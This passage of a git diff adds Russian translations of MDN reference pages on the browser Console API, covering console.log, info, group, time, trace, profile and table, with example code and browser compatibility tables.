+ <dt>{{domxref("Console.debug()")}}</dt>
+ <dd>Синоним для <code>log()</code></dd>
+ <dt>{{domxref("Console.dir()")}} {{Non-standard_inline}}</dt>
+ <dd>Отображает интерактивный список свойств указанного объекта JavaScript. Этот список позволит вам посмотреть дочерние объекты и их свойства.</dd>
+ <dt>{{domxref("Console.dirxml()")}} {{Non-standard_inline}}</dt>
+ <dd>
+ <p>Отображает представление указанного объекта в XML/HTML-виде, если это возможно. Если нет - в виде JavaScript-объекта (как в виде "console.dir()").</p>
+ </dd>
+ <dt>{{domxref("Console.error()")}}</dt>
+ <dd>Выводит сообщение об ошибке. Для форматирования вы можете использовать <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочные символы (маски)</a> с дополнительными параметрами.</dd>
+ <dt>{{domxref("Console._exception()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Синоним для <code>error();</code></dd>
+ <dt>{{domxref("Console.group()")}}</dt>
+ <dd>Создаёт новую <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группировку</a> сообщений, сдвигая все следующие выводимые строки вправо на один уровень. Для завершения <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группы </a>вызовите <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupCollapsed()")}}</dt>
+ <dd>Создаёт новую <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группировку </a>сообщений, сдвигая все следующие сообщения вправо на один уровень; в отличие от <code>group()</code> вывод происходи в свёрнутую <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группу</a>, требующую раскрыть её вручную по кнопке. Для завершения <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группы </a>вызовите <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupEnd()")}}</dt>
+ <dd>Выход из текущей <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группы</a>.</dd>
+ <dt>{{domxref("Console.info()")}}</dt>
+ <dd>Информационное сообщение. Для форматирования вы можете использовать <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочные символы (маски)</a> с дополнительными параметрами.</dd>
+ <dt>{{domxref("Console.log()")}}</dt>
+ <dd>Общий метод вывода информации. Для форматирования вы можете использовать <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочные символы (маски)</a> с дополнительными параметрами.</dd>
+ <dt>{{domxref("Console.profile()")}} {{Non-standard_inline}}</dt>
+ <dd>Запускает профайлер, встроенный в браузер (например, <a href="/ru/docs/Tools/Производительность">Firefox performance tool</a>). Вы можете указать метку профиля (по желанию).</dd>
+ <dt>{{domxref("Console.profileEnd()")}} {{Non-standard_inline}}</dt>
+ <dd>Останавливает профайлер.Вы можете посмотреть результат в инструментах анализа производительности браузера (например, <a href="/ru/docs/Tools/Производительность">Firefox performance tool</a>).</dd>
+ <dt>{{domxref("Console.table()")}}</dt>
+ <dd>Отображает табличные данные в виде таблицы.</dd>
+ <dt>{{domxref("Console.time()")}}</dt>
+ <dd>Запускает <a href="/ru/docs/Web/API/console#Timers">таймер</a> с именем из переданного параметра. Можно запустить одновременно до 10,000 таймеров на странице.</dd>
+ <dt>{{domxref("Console.timeEnd()")}}</dt>
+ <dd>Останавливает указанный <a href="/ru/docs/Web/API/console#Timers">таймер</a> и записывает в лог, сколько прошло секунд от его старта.</dd>
+ <dt>{{domxref("Console.timeStamp()")}} {{Non-standard_inline}}</dt>
+ <dd>Ставит маркер в браузерном инструменте измерения производительности <a href="https://developer.chrome.com/devtools/docs/timeline">Timeline</a> или <a href="/ru/docs/Tools/Производительность/Waterfall">Waterfall</a>.</dd>
+ <dt>{{domxref("Console.trace()")}}</dt>
+ <dd>Вывод <a href="/ru/docs/Web/API/console#Stack_traces">трассировки стека</a>.</dd>
+ <dt>{{domxref("Console.warn()")}}</dt>
+ <dd>Выводит предупреждающее сообщение. Для форматирования вы можете использовать <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочные символы (маски)</a> с дополнительными параметрами.</dd>
+</dl>
+
+
+<h2 id="Usage" name="Usage">Использование</h2>
+
+<h3 id="Outputting_text_to_the_console" name="Outputting_text_to_the_console"><a id="Outputting_text_to_the_console" name="Outputting_text_to_the_console">Вывод текста в консоль</a></h3>
+
+<p>Чаще всего Консоль используется для вывода строк текста и других типов данных. Существует четыре категории вывода, которые вы можете создавать, используя функции {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, {{domxref("console.error()")}}. Их вывод стилизован по-разному, и вы можете использовать фильтры, предоставляемые браузером, чтобы видеть только интересующие вас вещи.</p>
+
+<p>Есть два пути использования функций вывода; можно просто передать список объектов, чьё строковое представление сольётся в одну строку, после чего выведется в консоль, или вы можете использовать строку с подстановочными символами и списком объектов-параметров для подстановки в них.</p>
+
+<h4 id="Вывод_одного_объекта">Вывод одного объекта</h4>
+
+<p>Простейший способ для вывода одного объекта:</p>
+
+<pre class="brush: js">var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+</pre>
+
+<p>Вывод будет таким:</p>
+
+<pre>[09:27:13.475] ({str:"Some text", id:5})</pre>
+
+<h4 id="Вывод_нескольких_объектов">Вывод нескольких объектов</h4>
+
+<p>Вы можете выводить несколько объектов, просто перечисляя их в вызываемой функции:</p>
+
+<pre class="brush: js">var car = "Dodge Charger";
+var someObject = {str:"Some text", id:5};
+console.info("My first car was a", car, ". The object is: ", someObject);</pre>
+
+<p>Вывод будет таким:</p>
+
+<pre>[09:28:22.711] My first car was a Dodge Charger . The object is:  ({str:"Some text", id:5})
+</pre>
+
+<h4 id="Преобразование_строк_с_использованием_масок"><a id="Using_string_substitutions" name="Using_string_substitutions">Преобразование строк с использованием масок</a></h4>
+
+<p>Gecko 9.0 {{geckoRelease("9.0")}} ввёл поддержку подстановочных символов (масок). При передаче строки одному из методов вы можете использовать следующие символы:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Подстановочный символ</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td>%o или %O</td>
+   <td>Выводит ссылку на JavaScript-объект. Нажатие на ссылку приведёт к открытию инспектора кода.</td>
+  </tr>
+  <tr>
+   <td>%d или %i</td>
+   <td>Выведет целое число. Поддерживается форматирование, например, console.log("АБВГД %.2d", 1.1) выведет число как две значащих цифры с лидирующим нулём: АБВГД 01</td>
+  </tr>
+  <tr>
+   <td>%s</td>
+   <td>Выводит строку.</td>
+  </tr>
+  <tr>
+   <td>%f</td>
+   <td>Выводит число с плавающей точкой. Поддерживается форматирование, например, console.log("АБВГД %.2f", 1.1) выведет число до двух знаков после запятой: АБВГД 1.10</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Каждая из масок выбирает следующий аргумент из списка параметров. Пример:</p>
+
+<pre>for (var i=0; i&lt;5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+</pre>
+
+<p>Вывод будет таким:</p>
+
+<pre>[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+</pre>
+
+<h4 id="Стилизация_вывода_консоли">Стилизация вывода консоли</h4>
+
+<p>Можно  использовать директиву <code>"%c"</code> для применения стилей CSS при выводе в консоль. Часть текста до директивы не затрагивается стилем, а часть после - будет стилизована:</p>
+
+<pre class="brush: js">console.log("This is %cMy stylish message", "color: yellow; font-style: italic; background-color: blue; padding: 2px;");</pre>
+
+<div><img alt="" src="https://mdn.mozillademos.org/files/12527/CSS-styling.png" style="display: block; margin: 0 auto;"></div>
+
+<div class="note">
+<p><strong>Note</strong>: Поддерживается довольно много свойств стилей CSS; но вам необходимо поэкспериментировать и посмотреть, что окажется более полезным.</p>
+</div>
+
+<div>{{h3_gecko_minversion("Using groups in the console", "9.0")}}</div>
+
+<p>Вы можете использовать вложенные группы для организации вывода, визуально комбинируя связанный материал. Для создания вложенного блока вызовите <code>console.group()</code>. Метод <code>console.groupCollapsed()</code> похожий, но создаёт новый блок свёрнутым, что потребует нажать на кнопку, для своего раскрытия для чтения.</p>
+
+<div class="note"><strong>Note:</strong> Свёрнутые группы не поддерживаются пока в Gecko; в настоящее время <code>метод groupCollapsed()</code> работает так же как и <code>group()</code>.</div>
+
+<p>Для выхода из текущей группы просто вызовите <code>console.groupEnd()</code>. Пример:</p>
+
+<pre class="brush: js">console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.debug("Back to the outer level");
+</pre>
+
+<p>Вывод будет таким:</p>
+
+<p><img alt="nesting.png" class="default internal" src="/@api/deki/files/6082/=nesting.png"></p>
+
+<p>{{h3_gecko_minversion("Timers", "10.0")}}</p>
+
+<p>Для расчета длительности определённых операций в Gecko 10 введена поддержка таймеров в объекте <code>console</code>. Для запуска таймера вызовите функцию <code>console.time</code><code>(),</code> при этом в качестве параметра передайте название таймера. Для остановки таймера и для получения прошедшего времени в миллисекундах вызовите <code>console.timeEnd()</code>, передав в качестве параметра имя таймера. На странице можно запустить до 10000 таймеров одновременно.</p>
+
+<p>Рассмотрим пример:</p>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeEnd("answer time");
+</pre>
+
+<p>этот код запишет в веб-консоль время необходимое пользователю для того, чтобы закрыть окно <code>alert</code>:</p>
+
+<p><img alt="timerresult.png" class="default internal" src="/@api/deki/files/6084/=timerresult.png"></p>
+
+<p>Заметьте, что имя таймера отображено и при старте таймера и при его остановке.</p>
+
+<div class="note"><strong>Заметьте:</strong> Это важно: если вы используете таймер для записи таймингов сетевого трафика, то таймер отобразит общее время для операции, в то время как время, отображаемое в панели "Сеть" это только время, требуемое для заголовка. Если у вас включено логирование времени тела ответа, то время ответа для заголовка и для тела должно соответствовать времени, которое вы у видите в консоли.</div>
+
+<h3 id="Трассировка_стека_вызова">Трассировка стека вызова</h3>
+
+<p>Консоль также поддерживает вывод трассировки стека; она покажет вам весь путь вызовов функций, пройденный до момента, когда вы вызвали {{domxref("console.trace()")}}. Например, такой код:</p>
+
+<pre>foo();
+
+function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+</pre>
+
+<p>Вывод в консоль будет похож на этот:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7167/api-trace2.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Замечания">Замечания</h2>
+
+<ul>
+ <li>По крайней мере в Firefox, если страница определяет свой объект <code>console</code>, то этот объект переопределяет объект <code>console</code>, встроенный в Firefox.</li>
+ <li>До {{Gecko("12.0")}}, методы объекта <code>console</code> работали только, если открыта панель "Веб-консоль" (Web Console). Начиная с {{Gecko("12.0")}}, вывод кэшируется до тех пор, пока панель Веб-консоль не откроется, и сразу отобразится в ней.</li>
+ <li>Стоит отметить, что встроенный в Firefox объект <code>console</code> совместим с таким же объектом, предоставляемым плагином <a class="external" href="http://getfirebug.com/" title="http://getfirebug.com/">Firebug</a>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Tools" title="Tools">Tools</a></li>
+ <li><a href="/ru/docs/Tools/Web_Console" title="Web Console">Веб-консоль</a> - как Веб-консоль в Firefox обрабатывает вызовы API-консоли</li>
+ <li><a href="/ru/docs/Tools/Remote_Debugging">Удалённая отладка </a>- как посмотреть вывод в консоль, когда цель отладки находится на мобильном устройстве</li>
+ <li><a href="/ru/Firefox_OS/Using_the_App_Manager">Отладка приложений в Firefox OS</a> - использование Менеджера приложений для отладки приложений, запущенных на Firefox OS</li>
+ <li><a href="/ru/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging" title="/ru/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a> - как сделать логирование на устройствах на Firefox OS</li>
+</ul>
+
+<h3 id="Реализации_в_браузерах">Реализации в браузерах</h3>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug</a></li>
+ <li><a href="http://msdn.microsoft.com/ru/library/hh772173(v=vs.85).aspx">Internet Explorer</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari</a></li>
+</ul>
diff --git a/files/ru/web/api/console/info/index.html b/files/ru/web/api/console/info/index.html
new file mode 100644
index 0000000000..177715ed03
--- /dev/null
+++ b/files/ru/web/api/console/info/index.html
@@ -0,0 +1,157 @@
+---
+title: Console.info()
+slug: Web/API/Console/info
+tags:
+  - Debugging
+  - Web Development
+translation_of: Web/API/Console/info
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Выводит сообщения, содержащие некоторую информацию, в Веб-консоль.  В Firefox и Chrome, рядом с этими элементами в консоли отображается маленькая иконка "i".</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.info(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.info(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список объектов JavaScript, для вывода. Строковое представление каждого из них добавляется в указанном порядке вывода.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка, содержащая 0 или более масок для замены.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Объекты JavaScript, которыми заменятся маски в строке <code>msg</code>. Так можно дополнительно контролировать формат вывода. Например, <code>console.info('Output %f', 234); </code>выведет в консоль: <code>Output 234.000000</code></dd>
+</dl>
+
+<p>Смотрите <a href="/ru/docs/Web/API/console#Outputting_text_to_the_console">Вывод текста в консоль</a> в документации {{domxref("console")}} для получения подробностей.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoleinfoobject--object-", "console.info()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Заменяемые маски</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Информационная иконка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Доступно в Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Заменяемые маски</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Доступно в Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
diff --git a/files/ru/web/api/console/log/index.html b/files/ru/web/api/console/log/index.html
new file mode 100644
index 0000000000..ba29cd2002
--- /dev/null
+++ b/files/ru/web/api/console/log/index.html
@@ -0,0 +1,92 @@
+---
+title: Console.log()
+slug: Web/API/Console/log
+tags:
+  - Debug
+  - Debugging
+  - console
+  - console.log()
+  - Отладка
+  - метод
+translation_of: Web/API/Console/log
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Выводит сообщение в веб-консоль.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.log(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.log(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список объектов JavaScript для вывода. Строковые представления каждого из этих объектов соединяются вместе в указанном порядке и выводятся. Пожалуйста, обратите внимание, что если вы логируете объекты в последних версиях Chrome и Firefox, то что вы вывели в консоль, <em>является ссылкой на объект</em>, и не обязательно является его "значением" на момент вызова <code>console.log()</code>, это значение объекта в тот момент, когда вы кликаете по нему, чтобы открыть.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка JavaScript, содержащая 0 и более <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочных символов</a> для замены (см. <code>subst1</code> ... <code>substN</code>).</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>JavaScript-объекты, с помощью которых произойдёт замена подстановочных символов в <code>msg</code>. Это даст вам дополнительный контроль над форматом вывода.</dd>
+</dl>
+
+<p>Больше подробностей смотрите в разделе <a href="/ru/docs/DOM/console#Outputting_text_to_the_console">Вывод текста в консоль </a>документации {{domxref("console")}}.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#log", "console.log()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Console.log")}}</p>
+
+<h2 id="Отличия_от_console.dir()">Отличия от console.dir()</h2>
+
+<p>Вы можете спросить какая разница между console.dir() и console.log(). Это полезное отличие.</p>
+
+<p><img src="http://i.imgur.com/DozDcYR.png"></p>
+
+<p>Заметка:</p>
+
+<ul>
+ <li><code>console.log</code> выводит элемент как HTML-дерево</li>
+ <li><code>console.dir</code> выводит элемент как JSON-объект</li>
+</ul>
+
+<p>А именно, <code>console.log</code> даёт специальное обращение к DOM-элементам, тогда как <code>console.dir</code> - нет. Это особенно полезно, когда нужно видеть полное представление DOM JS-объетов.</p>
+
+<p>Больше информации об этой и других функциях в <a href="https://developers.google.com/chrome-developer-tools/docs/console-api#consoledirobject">Chrome Console API reference</a>.</p>
+
+<h2 id="Логирование_объектов">Логирование объектов</h2>
+
+<p>Не используйте <code>console.log(obj);</code>,<br>
+ Используйте <code>console.log(JSON.parse(JSON.stringify(obj)));</code>.</p>
+
+<p>Так вы можете быть уверены, что видите значение <code>obj</code> в момент, его логирования.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug wiki: Console API</a> - Firebug поддерживает дополнительные возможности реализации console.log(), такие как <a href="http://www.softwareishard.com/blog/firebug/firebug-tip-styled-logging/">styled logging</a>.</li>
+ <li><a href="http://nodejs.org/docs/latest/api/console.html#console_console_log_data">NodeJS: Console API</a></li>
+</ul>
diff --git a/files/ru/web/api/console/profile/index.html b/files/ru/web/api/console/profile/index.html
new file mode 100644
index 0000000000..7474ed345c
--- /dev/null
+++ b/files/ru/web/api/console/profile/index.html
@@ -0,0 +1,43 @@
+---
+title: Console.profile()
+slug: Web/API/Console/profile
+tags:
+  - АПИ
+  - Профайлер
+  - дебаггинг
+  - профилировщик
+translation_of: Web/API/Console/profile
+---
+<p>{{APIRef("Console API")}}{{Non-standard_header}}</p>
+
+<p>Запускает профайлер, встроенный в браузер (например, <a href="https://developer.mozilla.org/ru/docs/Tools/%D0%9F%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%BE%D0%B4%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C">Firefox performance tool</a>).</p>
+
+<p>Вы можете указать аргумент, чтобы назвать профиль, это позволит вам остановить только этот профиль, если записывается несколько профилей. Смотрите {{domxref("Console.profileEnd()")}} чтобы понять, как этот аргумент интерпретируется.</p>
+
+<p>Останавливает профайлер {{domxref("Console.profileEnd()")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.profile(<em>profileName</em>);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>profileName</code></dt>
+ <dd>Вы можете указать метку профиля (по желанию).</dd>
+</dl>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Console.profile")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Console.profileEnd()")}}</li>
+</ul>
diff --git a/files/ru/web/api/console/table/index.html b/files/ru/web/api/console/table/index.html
new file mode 100644
index 0000000000..f82a5e6858
--- /dev/null
+++ b/files/ru/web/api/console/table/index.html
@@ -0,0 +1,205 @@
+---
+title: Console.table()
+slug: Web/API/Console/table
+tags:
+  - API
+  - Дебаг
+  - консоль
+translation_of: Web/API/Console/table
+---
+<div>{{APIRef("Console API")}}{{Non-standard_header}}</div>
+
+<p><span class="seoSummary">Отображает наборы данных в виде таблицы.</span></p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Данная функция принимает один обязательный аргумент </font>data</code>, который должен быть представлен в виде массива или объекта, и один дополнительный параметр <code>columns</code>.</p>
+
+<p>функция логгирует аргумент <code>data</code> в виде таблицы. Каждый элемент массива (или каждое свойство, если <code>data -</code> это объект) будет представлять строку таблицы.</p>
+
+<p>Первая колонка таблицы будет озаглавлена как <code>(index)</code>. Если <code>data</code> представлена массивом, тогда значения первой колонки будут представлять индексы массива. Если <code>data <font face="Open Sans, Arial, sans-serif">-</font></code><code> объект</code>, тогда значения первой колонки будут представлять свойства объекта.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h3 id="Простые_наборы">Простые наборы</h3>
+
+<p>Аргумент <code>data</code> может быть массивом или объектом.</p>
+
+<pre class="brush: js">// массив строк
+
+console.table(["apples", "oranges", "bananas"]);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8567/console-table-array.png"></p>
+
+<pre class="brush: js">// объект, чьи свойства содержат строки
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var me = new Person("John", "Smith");
+
+console.table(me);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8559/console-table-simple-object.png"></p>
+
+<h3 id="Наборы_смешанных_типов">Наборы смешанных типов</h3>
+
+<p>Если элементы массива, либо свойства объекта, в свою очередь сами являются массивами или объектами, тогда эти элементы или свойства перечисляются построчно, перечисляя вложенные элементы/свойства в колонках:</p>
+
+<pre class="brush: js">// массив массивов
+
+var people = [["John", "Smith"], ["Jane", "Doe"], ["Emily", "Jones"]]
+console.table(people);</pre>
+
+<p><img alt="Table displaying array of arrays" src="https://mdn.mozillademos.org/files/8561/console-table-array-of-array.png"></p>
+
+<pre class="brush: js">// массив объектов
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily]);</pre>
+
+<p>Обратите внимание,  что если массив состоит из объектов, колонки таблицы будут озаглавленны названиями свойств объекта.</p>
+
+<p><img alt="Table displaying array of objects" src="https://mdn.mozillademos.org/files/8563/console-table-array-of-objects.png"></p>
+
+<pre class="brush: js">// объект, свойства которого являются объектами
+
+var family = {};
+
+family.mother = new Person("Jane", "Smith");
+family.father = new Person("John", "Smith");
+family.daughter = new Person("Emily", "Smith");
+
+console.table(family);</pre>
+
+<p><img alt="Table displaying object of objects" src="https://mdn.mozillademos.org/files/8565/console-table-object-of-objects.png"></p>
+
+<h3 id="Ограничение_видимости_колонок">Ограничение видимости колонок</h3>
+
+<p>По умолчанию, <code>console.table()</code> отображает все элементы в каждой строке. Вы можете использовать опциональный параметер <code>columns</code> чтобы указать набор отображаемых колонок:</p>
+
+<pre class="brush: js">// массив объектов, логгируется только свойство firstName
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily], ["firstName"]);</pre>
+
+<p><img alt="Table displaying array of objects with filtered output" src="https://mdn.mozillademos.org/files/8569/console-table-array-of-objects-firstName-only.png"></p>
+
+<h3 id="Сортировка_колонок">Сортировка колонок</h3>
+
+<p>Вы можете отсортировать необходимую колонку, кликнув по её заголовку.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.table(data [, <em>columns</em>]);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Данные для отображения. Могут быть представленны массивом или объектом.</dd>
+ <dt><code>columns</code></dt>
+ <dd>Массив названий колонок, которые следует отобразить.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoletabledata-columns", "console.table()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
